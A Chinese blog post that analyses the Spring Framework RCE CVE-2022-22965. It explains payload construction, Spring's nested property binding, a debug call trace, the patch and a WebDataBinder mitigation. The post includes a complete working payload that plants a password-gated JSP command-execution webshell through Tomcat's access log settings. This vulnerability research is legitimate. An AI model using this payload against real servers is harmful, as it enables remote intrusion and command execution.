首页 > 其他分享 >Spring Framework RCE CVE-2022-22965 漏洞分析

Spring Framework RCE CVE-2022-22965 漏洞分析

时间:2023-09-19 14:34:35浏览次数:35  
标签:漏洞 Spring 22965 module class Framework org 方法 payload

摘要

本文会从几个角度分析漏洞CVE-2022-22965,首先会从payload的构造。每次我都喜欢先分析漏洞的payload,不得不承认实力没达到可以直接分析漏洞地步。所以会先看看payload的构造过程看看,每次学习和分析漏洞的payload能学到很多有趣的角度和想法。从payload的构造分析,分析payload的构造能够站在挖掘者的角度思考一个sink点,应该如何去寻找一条data-flow-path,并且能够满足流向sink的path。其次会结合SPA知识,call-graph分析部分功能点,最后会分析一波漏洞的修复方案。

Payload 构造

下面是本次RCE的payload,看上去并不是很难的样子。其中蕴藏了几个小知识点,下面逐一分析。首先大体看payload是由请求头和请求体两部分组成。

headers = {
"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
}

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

知识点–Tomcat Access Log

在Tomcat的conf目录下的server.xml文件中配置了访问日志文件,

<!-- Access log processes all example.
             Documentation at: /docs/config/valve.html
             Note: The pattern used is equivalent to using pattern="common" -->
        <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t "%r" %s %b" />

className="org.apache.catalina.valves.AccessLogValve"对应设置日志文件的日志规范类,控制日志文件的文件名、文件后缀和日志输出格式等信息。这里我们就大致理解payload中的suffix、prefix和pattern的作用了。

%{}i在payload中有这个格式,查阅tomcat相关资料可以发现这里的 %{}i是以 Apache HTTP 服务器日志配置语法为模型,支持写入传入或传出标头,Cookie,会话或请求属性以及特殊时间戳格式的信息。

wKg0C2OJ68uAcGZaAABt8JqPFqc278.png

这里也就解释了请求包中有特殊的几个header,以及其作用。我们现在可以将payload进行转化一下,也就等同于下面了这段payload。

class.module.classLoader.resources.context.parent.pipeline.first.pattern=<% if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %>//
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

知识点—JDK module模块

JDK9引入了一个新的特性叫做JPMS(Java Platform Module System),也可以叫做Project Jigsaw。模块化的本质就是将一个大型的项目拆分成为一个一个的模块,每个模块都是独立的单元,并且不同的模块之间可以互相引用和调用。

引入module之后,原本被修复的漏洞就使用module特性进行绕过了。

wKg0C2OJ6rOAH7eGAAANFNTriJs770.png


知识点—AbstractNestablePropertyAccessor嵌套结构

为了理解payload为什么会有这么长 class.module.classLoader.resources.context.parent.pipeline.first.suffix,这里得理解AbstractNestablePropertyAccessor的嵌套结构。为了帮助读者更好理解嵌套结构,笔者写了一段代码作为演示。

public class School {
    String name;
    Student student;
   // TODO 添加setter和getter方法
    public static class Student {
        String name;
        Age age;
          // TODO 添加setter和getter方法
    }
    public static class Age {
        int age;
           // TODO 添加setter和getter方法
    }
// 为了代码量变少点,这里删除setter和getter方法,如果使用自行添加。
}

对应输出代码,demo类源码参考struts-tester/struts-tester.jsp

public static void main(String[] args) throws Exception {
        java.util.HashSet set = new java.util.HashSet<Object>();
        School school = new School();
        school.setName("beijing");
        School.Student student = new School.Student();
        student.setName("wangshuai");
        School.Age age = new School.Age();
        age.setAge(18);
        student.setAge(age);
        school.setStudent(student);
        Object target = demo.applyGetChain(school,"");
        boolean debug = false;
        demo demo = new demo();
        demo.processClass(target, System.out, set, "", 0, debug);

    }

从这里可以很轻松的看懂为什么class.module.classLoader.resources.context.parent.pipeline.first.suffix构造,下面另一张图可以找到一些可利用的gadget。

wKg0C2OJ7EeAVD7AALJV5TZ3uQ430.png


漏洞成因分析

前面我们分析了目前该漏洞最广泛的漏洞payload,那么我们再看看漏洞是如何形成就可以非常明确知道出现问题的可能性了,在分析对应的实现源码。

<font color=blue>其实现在已经非常明确知道,这是一个功能点,被恶意利用了。分析源码是为了看实现原理,分析再次如果的可能性以及再遇到再相似代码可以更好的分辨。</font>

在 org.springframework.beans.AbstractNestablePropertyAccessor的getPropertyAccessorForPropertyPath打个断点,我们先看看他的Call Graph是怎么样。原图地址:call-graph

使用call graph能够比较直观分析数据的流进流出,不难发现 getPropertyValue –> getFirstNestedPropertySeparatorIndex->getNestedPropertyAccessor->getPropertyAccessorForPropertyPath是这么一个过程。

原图地址: call-graph

但debug看堆栈发现,并不是getPropertyValue去调用了 getPropertyAccessorForPropertyPath而是setPropertyValue调用的。

getPropertyAccessorForPropertyPath(String):815, AbstractNestablePropertyAccessor (org.springframework.beans), AbstractNestablePropertyAccessor.java
setPropertyValue(PropertyValue):256, AbstractNestablePropertyAccessor (org.springframework.beans), AbstractNestablePropertyAccessor.java
setPropertyValues(PropertyValues, boolean, boolean):104, AbstractPropertyAccessor (org.springframework.beans), AbstractPropertyAccessor.java
applyPropertyValues(MutablePropertyValues):856, DataBinder (org.springframework.validation), DataBinder.java
doBind(MutablePropertyValues):751, DataBinder (org.springframework.validation), DataBinder.java
doBind(MutablePropertyValues):198, WebDataBinder (org.springframework.web.bind), WebDataBinder.java
tomcat.util.threads), TaskThread.java

如果看源码分析发现,在AbstractNestablePropertyAccessor中也存在getPropertyValue调用了getPropertyAccessorForPropertyPath方法。这也是call-graph的一种缺点吧,相比真正的data-flow-graph还是有不足之处,但相比而言静态的call-graph已经非常具有参考价值了,是一种辅助分析手段。

wKg0C2OJ7MOAeVkvAABNWOO7rY4075.png

在 org.springframework.beans.PropertyAccessorUtils#getNestedPropertySeparatorIndex中,这段代码作用获取 .的位置,然后返回位置。在以 .为分割线,取字符串,首先会取class字符串,在依次module、classloader..。nestedPath是记录分割之后的字符串,nestedProperty是记录分割出来的字符串,传入getNestedPropertyAccessor方法之中。

wKg0C2OJ7OiAOWxrAAATpiP1hsE589.png

首次进入getNestedPropertyAccessor方法会创建一个hashmap,然后调用getPropertyValue方法。

在getPropertyValue方法中调用getLocalPropertyHandler,由于getLocalPropertyHandler是抽象方法,会调用实现方法这里是BeanWrapperImpl.class类中的getLocalPropertyHandler方法。但BeanWrapperImpl是AbstractNestablePropertyAccessor的实现类,JavaBean存在内省(Introspection)机制,调用方法getLocalPropertyHandler之前会首先调用setIntrospectionClass方法。在方法getLocalPropertyHandler中,首先会调用getCachedIntrospectionResults方法,由于此时的BeanWrapperImpl中的CachedIntrospectionResults为null,因此会org.springframework.beans.CachedIntrospectionResults#forClass方法创建CachedIntrospectionResults对象。

在CachedIntrospectionResults类中的构造器方法,存在前面历史漏洞的修复方案。但自从Java9加入module机制之后,此修复方案就可以被绕过了。

首先会加入propertyDescriptors是class所指向的getClass()方法,然后循环之后module所指向的getModule()方法,依此类推。

在全部加入之后,会去 =后边的值,实现方法org.springframework.beans.AbstractNestablePropertyAccessor#processLocalProperty方法,最终会调用BeanWrapperImpl#setValue进行赋值操作。


修复方案

与之前修复方式不一样,之前是获取pd的名字,现在直接判断pd类型,直接将classloader和Protection类加入黑名单了。

临时性修复方案,首先来看代码,将 {"class.*","Class.*","*.class.*","*.Class.*"}字符串数组加入黑名单,这样子使用大小写无法绕过。但为什么要调用WebDataBinder#setDisallowedFields方法呢?

@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class GlobalControllerAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder){
        String[] abd= new String[]{"class.*","Class.*","*.class.*","*.Class.*"};
        dataBinder.setDisallowedFields(abd);
    }
}

我们在回到最初漏洞开始的地方,会看堆栈内容,往前看几眼,会分析存在WebDataBinder对象。发送请求之后,会经过一系列filter,handler操作之后,首先会将请求处理到ServletRequestDataBinder对象中。然后再是WebDataBinder对象,而在WebDataBinder对象中提高设置那些字段不允许的方法。设置之后,恶意请求就会在WebDataBinder过滤掉了,不会进行进一步的处理。

wKg0C2OJ7VmAb3KvAAAZflzbFpA472.png


内省机制

下面是一个最简单Spring框架下的内省机制的使用,其中第五行代码  bwl.setPropertyValue("student.name", "张三");。其中student.name,我们能更进一步的理解payload如何构造了,也能理解为什么需要getNestedPropertySeparatorIndex方法将字符串分割。


public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
        BeanWrapperImpl bwl = new BeanWrapperImpl(new School());
        bwl.setAutoGrowNestedPaths(true); //自动属性嵌套
        bwl.setPropertyValue("name", "北京大学");
        bwl.setPropertyValue("student.name", "张三");
        PropertyDescriptor[] pds = bwl.getPropertyDescriptors();
        Set<String> propertyNames = new HashSet<String>();
        for (PropertyDescriptor pd : pds) {
            //获取属性名称
            System.out.println(pd.getName() + " : " + "" + pd.getPropertyType() + " : " + pd.getReadMethod().invoke(bwl.getWrappedInstance()));
            propertyNames.add(pd.getName());
        }
        System.out.println(Arrays.toString(propertyNames.toArray(new String[propertyNames.size()])));
  
    }


环境搭建小问题

使用idea热部署debug的时候,配置如下图。

wKg0C2OK9dqAfljhAADt0n08dII606.png

Deployment选择exploded,在项目配置可以看到输出路径,也就是web路径。在该路径下添加jsp,也会动态解析。然后用poc打网站,就路径要写绝对路径。

wKg0C2OK9gKAeBW6AACFORiido802.png

wKg0C2OK9hmAU3mAACeoNciXso949.png

如果不写绝对路径,webshell会输出到下面的临时路径。因为idea会自动配置一个临时tomcat的配置环境,所以webshell会输出到临时路径。

C:\Users{Name}\AppData\Local\JetBrains\IntelliJIdea2021.3\tomcat


参考

Tomcat Access Log配置

SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析

Spring Beans RCE分析

spring-framework的修复方案

github 补丁代码

标签:漏洞,Spring,22965,module,class,Framework,org,方法,payload
From: https://www.cnblogs.com/SecIN/p/17714546.html

相关文章

  • Spring Bean生命周期
    概述Spring的ioc容器功能非常强大,负责Spring的Bean的创建和管理等功能。而Spring的bean是整个Spring应用中很重要的一部分,了解SpringBean的生命周期对我们了解整个spring框架会有很大的帮助。BeanFactory和ApplicationContext是Spring两种很重要的容器,前者提供了最基本的依赖注......
  • SpringBoot 后端配置 Https 教程
    以阿里云为例子1.申请SSL证书1.注册域名打开阿里云官网,搜索域名点击域名注册,输入域名,点击搜索选择心仪的域名,点击购买,打钱进入域名控制台,进行实名认证2.申请SSL证书打开阿里云官网,搜索SSL证书点击免费证书,领取20张券(一年可以领20张,可以创建20张免......
  • spring中 beandefinition类中的6大属性
    什么是BeanDefinition?BeanDefinition表示bean的定义,spring根据 beandefinition用来创建bean对象,他有很多属性来描述bean。1.beanClass:表示一个bean的类型,比如UserService.class,在创建bean的过程中会根据此属性来实例化得到的对象。2.scope:表示一个bean的作用域,比如......
  • Springboot使用@value获取配置文件参数
    使用@value获取yml参数值@Value("${value}")//多级使用.连接例:${value.value}privateStringvalue;@value获取不到值的情况//错误1:使用了static或者final修饰valueprivatestaticStringvalue;privatefinalStringvalue;//错误2:类没有加上@Component(或者@Ser......
  • 提升 Spring Boot 吞吐量的 7 个神技,让你的项目飞起来!
    一、异步执行实现方式二种:使用异步注解@aysnc、启动类:添加@EnableAsync注解JDK8本身有一个非常好用的Future类——CompletableFuture@AllArgsConstructorpublicclassAskThreadimplementsRunnable{privateCompletableFuture<Integer>re=null;publ......
  • 解决Visual Studio 2022中无法编译 .NET Framework 4.5/4.5.1项目(Visual Studio 2022
    最新【一键处理】方法:https://github.com/MrXhh/VSTools/releases1)下载VS2022Net4NotCompileFix2)右键管理员执行3)重启VS https://github.com/MrXhh/VSTools/releases......
  • springboot中配置druid的依赖,与application.yml中设置druid的相关配置
    2023-09-18<dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.2.16</version></dependency>application.ymlsprin......
  • Spring框架中 依赖注入和控制反转,最简单、最通俗的解释! 再加上一个AOP
    首先依赖注入==控制反转,只不过控制反转这个词汇,让人产生了错误的理解,才使用新的词汇:依赖注入来替换到这个词汇。“依赖注入”是指一个对象应用另外一个对象来提供一个特殊的能力。例如,把一个数据库连接以参数的形式传到一个对象的结构方法里,而不是在那个对象内部自行创......
  • SpringBoot 启动时报错Unable to start embedded Tomcat
    导读最近公司有个gradle构建的工程,需要改造成maven方式构建(点我直达)。转为maven后,启动时一直报tomcat错误,最终排查是因为servlet-api这个包导致的依赖冲突,将这个依赖排除即可启动解决排除依赖,检查项目是否包含:javax.servlet-api<exclusions><exclusi......
  • Springboot简单功能示例-5 使用JWT进行授权认证
    springboot-sample介绍springboot简单示例-使用JWT进行授权认证跳转到发行版查看发行版说明软件架构(当前发行版)Springboot3.1.3hutoolbcprov-jdk18on安装教程gitclone--branch自定义加密进行登录验证[email protected]:simen_net/springboot-sample.git主要功......